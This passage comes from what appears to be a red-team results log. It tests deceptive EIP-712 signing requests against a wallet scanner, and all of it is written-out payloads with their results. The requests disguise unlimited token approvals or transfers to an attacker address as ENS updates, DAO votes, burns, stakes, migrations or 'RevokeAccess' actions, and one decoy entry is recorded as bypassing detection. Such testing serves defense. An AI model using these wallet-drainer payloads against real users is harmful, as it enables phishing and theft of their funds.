"2026-01-31T16:23:21.271Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T16:23:30.420Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T16:23:39.570Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T16:23:48.722Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T16:23:57.886Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T16:24:07.048Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T16:24:16.399Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T16:24:25.562Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": true } }, { "id": "DECOY-002", "timestamp": "2026-01-31T16:24:34.767Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T16:24:43.933Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T16:24:53.104Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T16:25:02.256Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T16:25:11.423Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T16:25:20.603Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T16:25:29.762Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "RUN10-EIP3009-022", "timestamp": "2026-01-31T16:25:38.917Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x249a67d088c851e8883860cbcc3fe735c34f1eaef994775f5cf1e9a8b230d436\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN10-EIP3009-054", "timestamp": "2026-01-31T16:25:45.442Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xc2d873b98307e3ddc6626aeba045837a46d29245e1b457a32fef997cb52999c2\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Execution reverted with reason: ERC20: transfer amount exceeds balance.\n\nRaw Call Arguments:\n from: 0x027821c81bc29f8860e7a17ab759ed000c97f178\n to: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\n d" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T16:25:55.027Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T16:26:04.178Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: 